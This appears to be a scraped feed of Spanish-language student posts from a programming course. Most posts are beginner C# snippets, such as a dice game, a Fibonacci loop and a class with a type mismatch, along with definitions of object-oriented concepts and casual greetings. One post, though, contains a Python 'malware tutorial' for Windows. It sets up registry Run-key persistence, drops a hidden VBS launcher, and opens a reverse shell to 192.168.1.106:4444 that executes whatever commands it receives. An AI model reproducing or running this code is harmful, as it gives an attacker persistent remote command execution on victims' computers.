# data[].attributes.body
private void btn_jugar_Click(object sender, RoutedEventArgs e)
{
int dado1, dado2;
Random alea = new Random();
dado1 = alea.Next(1, 6);
dado2 = alea.Next(1, 6);

if (dado1 == 1)
{

BitmapImage idado = new BitmapImage();
idado.BeginInit();
idado.UriSource = new Uri("C:/Users/Usuario/Documents/Imagnes dados/cara-uno.png");
lbl_dad1.Content = dado1.ToString();
idado.EndInit();
img_dado1.Source = idado;

}
Mini codigo

# data[].attributes.body
Hola

# data[].attributes.body
Programando con el inge German

# data[].attributes.body
HOLA Mundo

# data[].attributes.body
Está basada en varias técnicas del sexenio: herencia, abstracción, polimorfismo,y encapsulamiento.

# data[].attributes.body
cuando heredamos es cuando una clase o obgeto optiene bases e informacion de otro como en el ejemplo que podemos ver aqui sobre como distintos tipos de aves heredan de ave por que son aves pero no exactamente iguales

# data[].attributes.body
class Auto
{
int ruedas;;
int motor;
string nombre;

public int Ruedas{get => ruedas; set => ruedas = value;}
public int Motor{get => motor; set => motor = value;}
public int Nombre{get => nombre; set => nombre = value;}
}

# data[].attributes.body
Hello World

# data[].attributes.body
POO es un paradigma de la programación que busca dejar de centrarse tanto en la lógica pura de los programas, para empezar a pensar en los objetos

# data[].attributes.body
Una clase es la definición global de un objeto ya que con las clases se pueden crear instancias de ese objeto, cada uno con sus atributos definidos de forma independiente, con ésto podríamos tener un animal llamado gato con edad de 2 años y otro animal llamado perro con edad de 3 años. Los 2 están definidos por la clase animal pero son 2 instancias distintas y por lo tanto llamar a sus métodos métodos puede tener resultados diferentes. Los 2 comparten la lógica pero cada uno tiene su estado independiente.

# data[].attributes.body
int a, b, limite, i, auxiliar;
Console.WriteLine("Ingrese el número de numeros de Fibonacci que desea mostrar");
limite = int.Parse(Console.ReadLine());
a = 0;
b = 1;
for (i = 0; i < limite; i++)
{
auxiliar = a;
a = b;
b = auxiliar + a;
Console.WriteLine(a);
}
Console.ReadKey();

# data[].attributes.body
Una clase abstracta es como una caja negra. Un ejemplo muy claro sobre la abstracción sería nuestro teléfono móvil, sabemos cómo interactuar con el pero no tenemos ni idea de cómo funciona por dentro(esa parte está abstraído del usuario).
En conclusión Al utilizar la abstracción en una clase conseguimos libertad a la hora de modificar una implementación.

# data[].attributes.body
https://teloexplicocongatitos.com/poster/tlecg07

# data[].attributes.attachment_link.description
Acá vas a encontrar conceptos de tecnología, programación y otras cosas, en español y ¡Explicados con gatitos!

# data[].attributes.body
import os

import os
| import subprocess
| import socket
| import sys
| import tempfile
| from _winreg import *

| KEY_PATH = "Software\Microsoft\Windows\CurrentVersion\Run"
| KEY_NAME = "anarc0der_key"
| REV_SHELL = "192.168.1.106"
| SHELL_PORT = 4444
| TRIGGER_PATH = tempfile.gettempdir()+"\\"+TRIGGER
| PATH = tempfile.gettempdir()+"\\"+MALWARE_NAME
|

| class Imsorry():
|

|     def infect_windows_register_keys(self):
|         """ Method to register malware on windows keys.
|             Returns False if didnt have key for malware.
|             Returns True if already have key for malware. """
|         key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH)
|         keys = []
|         try:
|             i=0
|             while True:
|                 cur_key = EnumValue(key, i)
|                 keys.append(cur_key[0])
|                 i+=1
|         except:
|             pass
|         if KEY_NAME not in keys:
|             mlwr_key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH, 0, KEY_ALL_ACCESS)
|             SetValueEx(mlwr_key, KEY_NAME, 0, REG_SZ, TRIGGER_PATH)
|             mlwr_key.Close()
|             return False
|         return True
|

|     def hide_malware_and_trigger(self):
|         """ Method to generate & hide the trigger and malware.
|             Return True if was alredy hided.
|             Return False if wasnt hided """
|         if os.path.exists(MALWARE_PATH) and os.path.exists(TRIGGER_PATH):
|             return True
|         else:
|             payload = 'Set WshShell = WScript.CreateObject("WScript.Shell")\nWshShell.Run """{0}""", 0 , false'.format(MALWARE_PATH)
|             with open(TRIGGER_PATH, 'w') as f:
|                 f.write(payload)
|             os.system('copy %s %s'%(MALWARE_NAME, MALWARE_PATH))
|             return False
|

|     def reverse_shell_function(self):
|         """ Method of reverse shell in python """
|         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|         s.connect((REV_SHELL,SHELL_PORT))
|         s.send('\n\!/ anarc0der mlwr tutorial\n\n[*] If you need to finish, just type: quit\n[*] PRESS ENTER TO PROMPT\n\n')
|         while True:
|             data = s.recv(1024)
|             if "quit" in data:
|                 break
|             cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|             saida_cmd = cmd.stdout.read() + cmd.stderr.read()
|             s.send(saida_cmd)
|             s.send("Comando: ")
|         s.close()
|

| def main():
|     my_returns = []
|     x = My_malware()
|     my_returns.append(x.infect_windows_register_keys())
|     my_returns.append(x.hide_malware_and_trigger())
|     if all(res is True for res in my_returns):
|         x.reverse_shell_function()
|

| if __name__ == '__main__':
|     main()

# data[].attributes.body
Una clase es un bloque de codigo en el cual podemos definiir variables, como ser numeros enteros o con decimales, cadenas y boleanos. Tambien se pueden crear metodos que realizen cierta operacion ya sea de calculos o control de eventos.

# data[].attributes.headline
Yo cuando no copila.                                                           

# data[].attributes.subject
Yo cuando no copila.                                                           

# data[].attributes.body
lo que viven pocos

# data[].attributes.body
La Programación Orientada a Objetos es un paradigma de programación que viene a innovar la forma de obtener resultados. Los objetos se utilizan como metáfora para emular las entidades reales del negocio a modelar.

# data[].attributes.attachment_caption
Esto es una clase y una clase es donde podemos utilizar objetos y también métodos los cuales podremos moldear 